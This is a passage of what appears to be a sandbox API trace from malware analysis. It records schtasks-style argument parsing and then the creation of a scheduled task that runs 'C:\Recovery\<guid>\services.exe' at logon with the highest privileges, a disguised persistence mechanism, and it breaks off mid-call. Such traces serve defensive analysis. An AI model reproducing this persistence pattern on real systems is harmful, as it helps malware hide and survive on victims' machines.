[0149.531] SetLastError (dwErrCode=0x490) [0149.531] lstrlenW (lpString="st") returned 2 [0149.531] lstrlenW (lpString="st") returned 2 [0149.531] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.531] lstrlenW (lpString="f") returned 1 [0149.531] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.531] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|st|") returned 4 [0149.531] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.531] lstrlenW (lpString="|st|") returned 4 [0149.531] lstrlenW (lpString="|f|") returned 3 [0149.531] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0149.531] SetLastError (dwErrCode=0x490) [0149.531] lstrlenW (lpString="sd") returned 2 [0149.531] lstrlenW (lpString="sd") returned 2 [0149.531] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.531] lstrlenW (lpString="f") returned 1 [0149.531] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.532] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sd|") returned 4 [0149.532] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.532] lstrlenW (lpString="|sd|") returned 4 [0149.532] lstrlenW (lpString="|f|") returned 3 [0149.532] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0149.532] SetLastError (dwErrCode=0x490) [0149.532] lstrlenW (lpString="ed") returned 2 [0149.532] lstrlenW (lpString="ed") returned 2 [0149.532] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.532] lstrlenW (lpString="f") returned 1 [0149.532] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.532] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ed|") returned 4 [0149.532] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.532] lstrlenW (lpString="|ed|") returned 4 [0149.532] lstrlenW (lpString="|f|") returned 3 [0149.532] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0149.532] SetLastError (dwErrCode=0x490) [0149.532] lstrlenW (lpString="it") returned 2 [0149.532] lstrlenW (lpString="it") returned 2 [0149.532] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.532] lstrlenW (lpString="f") returned 1 [0149.532] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.532] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|it|") returned 4 [0149.532] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.532] lstrlenW (lpString="|it|") returned 4 [0149.533] lstrlenW (lpString="|f|") returned 3 [0149.533] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0149.533] SetLastError (dwErrCode=0x490) [0149.533] lstrlenW (lpString="et") returned 2 [0149.533] lstrlenW (lpString="et") returned 2 [0149.533] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.533] lstrlenW (lpString="f") returned 1 [0149.533] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.533] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|et|") returned 4 [0149.533] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.533] lstrlenW (lpString="|et|") returned 4 [0149.533] lstrlenW (lpString="|f|") returned 3 [0149.533] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0149.533] SetLastError (dwErrCode=0x490) [0149.533] lstrlenW (lpString="k") returned 1 [0149.533] lstrlenW (lpString="k") returned 1 [0149.533] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.533] lstrlenW (lpString="f") returned 1 [0149.533] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.533] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|k|") returned 3 [0149.533] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.533] lstrlenW (lpString="|k|") returned 3 [0149.533] lstrlenW (lpString="|f|") returned 3 [0149.534] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0149.534] SetLastError (dwErrCode=0x490) [0149.534] lstrlenW (lpString="du") returned 2 [0149.570] lstrlenW (lpString="du") returned 2 [0149.570] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.571] lstrlenW (lpString="f") returned 1 [0149.571] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.571] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|du|") returned 4 [0149.571] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.571] lstrlenW (lpString="|du|") returned 4 [0149.571] lstrlenW (lpString="|f|") returned 3 [0149.571] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0149.571] SetLastError (dwErrCode=0x490) [0149.571] lstrlenW (lpString="ri") returned 2 [0149.571] lstrlenW (lpString="ri") returned 2 [0149.571] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.571] lstrlenW (lpString="f") returned 1 [0149.571] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.571] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ri|") returned 4 [0149.571] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.571] lstrlenW (lpString="|ri|") returned 4 [0149.571] lstrlenW (lpString="|f|") returned 3 [0149.571] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0149.571] SetLastError (dwErrCode=0x490) [0149.571] lstrlenW (lpString="z") returned 1 [0149.571] lstrlenW (lpString="z") returned 1 [0149.571] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.571] lstrlenW (lpString="f") returned 1 [0149.571] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.571] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|z|") returned 3 [0149.572] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.572] lstrlenW (lpString="|z|") returned 3 [0149.572] lstrlenW (lpString="|f|") returned 3 [0149.572] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0149.572] SetLastError (dwErrCode=0x490) [0149.572] lstrlenW (lpString="f") returned 1 [0149.572] lstrlenW (lpString="f") returned 1 [0149.572] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.572] lstrlenW (lpString="f") returned 1 [0149.572] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.572] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.572] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.572] lstrlenW (lpString="|f|") returned 3 [0149.572] lstrlenW (lpString="|f|") returned 3 [0149.572] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0149.572] SetLastError (dwErrCode=0x0) [0149.572] SetLastError (dwErrCode=0x0) [0149.572] GetProcessHeap () returned 0x2f0000 [0149.572] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd30 [0149.572] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.572] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0149.572] lstrlenW (lpString="LIMITED") returned 7 [0149.572] GetProcessHeap () returned 0x2f0000 [0149.572] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d580 [0149.572] GetThreadLocale () returned 0x409 [0149.572] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0149.572] GetProcessHeap () returned 0x2f0000 [0149.572] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd00 [0149.573] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.573] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0149.573] lstrlenW (lpString="HIGHEST") returned 7 [0149.573] GetProcessHeap () returned 0x2f0000 [0149.573] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d5a0 [0149.573] GetThreadLocale () returned 0x409 [0149.573] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0149.573] GetProcessHeap () returned 0x2f0000 [0149.573] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ccd0 [0149.573] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.573] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0149.573] lstrlenW (lpString="MINUTE") returned 6 [0149.573] GetProcessHeap () returned 0x2f0000 [0149.573] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d5c0 [0149.573] GetThreadLocale () returned 0x409 [0149.573] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0149.573] GetProcessHeap () returned 0x2f0000 [0149.573] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cca0 [0149.573] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.573] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0149.573] lstrlenW (lpString="HOURLY") returned 6 [0149.573] GetProcessHeap () returned 0x2f0000 [0149.573] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d5e0 [0149.573] GetThreadLocale () returned 0x409 [0149.573] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0149.573] GetProcessHeap () returned 0x2f0000 [0149.574] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc70 [0149.574] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.574] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0149.574] lstrlenW (lpString="DAILY") returned 5 [0149.574] GetProcessHeap () returned 0x2f0000 [0149.574] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xc) returned 0x30d600 [0149.574] GetThreadLocale () returned 0x409 [0149.574] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0149.574] GetProcessHeap () returned 0x2f0000 [0149.574] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc40 [0149.574] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.574] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0149.574] lstrlenW (lpString="WEEKLY") returned 6 [0149.574] GetProcessHeap () returned 0x2f0000 [0149.574] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d620 [0149.574] GetThreadLocale () returned 0x409 [0149.574] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0149.574] GetProcessHeap () returned 0x2f0000 [0149.574] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc10 [0149.574] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.574] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0149.574] lstrlenW (lpString="MONTHLY") returned 7 [0149.574] GetProcessHeap () returned 0x2f0000 [0149.574] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d640 [0149.574] GetThreadLocale () returned 0x409 [0149.574] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0149.574] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.574] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0149.574] lstrlenW (lpString="ONCE") returned 4 [0149.574] GetProcessHeap () returned 0x2f0000 [0149.575] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa) returned 0x30d660 [0149.575] GetThreadLocale () returned 0x409 [0149.575] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0149.575] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.575] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0149.575] lstrlenW (lpString="ONSTART") returned 7 [0149.575] GetThreadLocale () returned 0x409 [0149.575] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0149.575] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.575] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0149.575] lstrlenW (lpString="ONLOGON") returned 7 [0149.575] GetThreadLocale () returned 0x409 [0149.575] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0149.575] SetLastError (dwErrCode=0x0) [0149.575] GetProcessHeap () returned 0x2f0000 [0149.575] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x1fc) returned 0x30c3e0 [0149.575] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.575] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0149.575] lstrlenW (lpString="First") returned 5 [0149.575] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.575] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0149.575] lstrlenW (lpString="Second") returned 6 [0149.575] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.576] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0149.576] lstrlenW (lpString="Third") returned 5 [0149.576] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.576] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0149.576] lstrlenW (lpString="Fourth") returned 6 [0149.576] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.576] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0149.576] lstrlenW (lpString="Last") returned 4 [0149.576] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.576] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0149.576] lstrlenW (lpString="First") returned 5 [0149.576] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.576] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0149.576] lstrlenW (lpString="Second") returned 6 [0149.576] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.576] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0149.576] lstrlenW (lpString="Third") returned 5 [0149.576] GetProcessHeap () returned 0x2f0000 [0149.576] GetProcessHeap () returned 0x2f0000 [0149.576] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d660) returned 1 [0149.576] GetProcessHeap () returned 0x2f0000 [0149.576] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d660) returned 0xa [0149.576] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d660 | out: hHeap=0x2f0000) returned 1 [0149.576] GetProcessHeap () returned 0x2f0000 [0149.576] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xc) returned 0x30d660 [0149.577] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.577] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0149.577] lstrlenW (lpString="Fourth") returned 6 [0149.577] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.577] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0149.577] lstrlenW (lpString="Last") returned 4 [0149.577] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x17c740, cchData=128 | out: lpLCData="0") returned 2 [0149.577] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.577] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0149.577] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0149.577] GetProcessHeap () returned 0x2f0000 [0149.577] GetProcessHeap () returned 0x2f0000 [0149.577] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580) returned 1 [0149.577] GetProcessHeap () returned 0x2f0000 [0149.577] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d580) returned 0x10 [0149.577] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580 | out: hHeap=0x2f0000) returned 1 [0149.577] GetProcessHeap () returned 0x2f0000 [0149.577] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d580 [0149.577] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x17c760, cchData=128 | out: lpLCData="0") returned 2 [0149.577] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.577] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0149.577] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0149.577] GetProcessHeap () returned 0x2f0000 [0149.577] GetProcessHeap () returned 0x2f0000 [0149.577] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5a0) returned 1 [0149.578] GetProcessHeap () returned 0x2f0000 [0149.578] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5a0) returned 0x10 [0149.578] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5a0 | out: hHeap=0x2f0000) returned 1 [0149.578] GetProcessHeap () returned 0x2f0000 [0149.578] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d5a0 [0149.578] GetLocalTime (in: lpSystemTime=0x17c990 | out: lpSystemTime=0x17c990*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xa, wMilliseconds=0x1f1)) [0149.578] GetLocalTime (in: lpSystemTime=0x17d248 | out: lpSystemTime=0x17d248*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xa, wMilliseconds=0x1f1)) [0149.578] lstrlenW (lpString="") returned 0 [0149.578] lstrlenW (lpString="") returned 0 [0149.578] lstrlenW (lpString="") returned 0 [0149.578] lstrlenW (lpString="") returned 0 [0149.578] lstrlenW (lpString="") returned 0 [0149.578] lstrlenW (lpString="") returned 0 [0149.578] lstrlenW (lpString="") returned 0 [0149.578] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0149.598] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0150.217] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x17d010 | out: ppv=0x17d010*=0x27ad0) returned 0x0 [0150.224] TaskScheduler:ITaskService:Connect (This=0x27ad0, serverName=0x17d0f0*(varType=0x8, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x17d0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x17d0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x17d090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0150.291] TaskScheduler:IUnknown:AddRef (This=0x27ad0) returned 0x2 [0150.291] TaskScheduler:ITaskService:GetFolder (in: This=0x27ad0, Path=0x0, ppFolder=0x17d1a8 | out: ppFolder=0x17d1a8*=0x27d00) returned 0x0 [0150.294] TaskScheduler:ITaskService:NewTask (in: This=0x27ad0, flags=0x0, ppDefinition=0x17d1a0 | out: ppDefinition=0x17d1a0*=0x27d50) returned 0x0 [0150.295] ITaskDefinition:get_Actions (in: This=0x27d50, ppActions=0x17d120 | out: ppActions=0x17d120*=0x27e10) returned 0x0 [0150.295] IActionCollection:Create (in: This=0x27e10, Type=0, ppAction=0x17d140 | out: ppAction=0x17d140*=0x265e0) returned 0x0 [0150.295] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.295] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.295] lstrlenW (lpString=" ") returned 1 [0150.295] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0150.295] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0150.296] StrChrW (lpStart=" ", 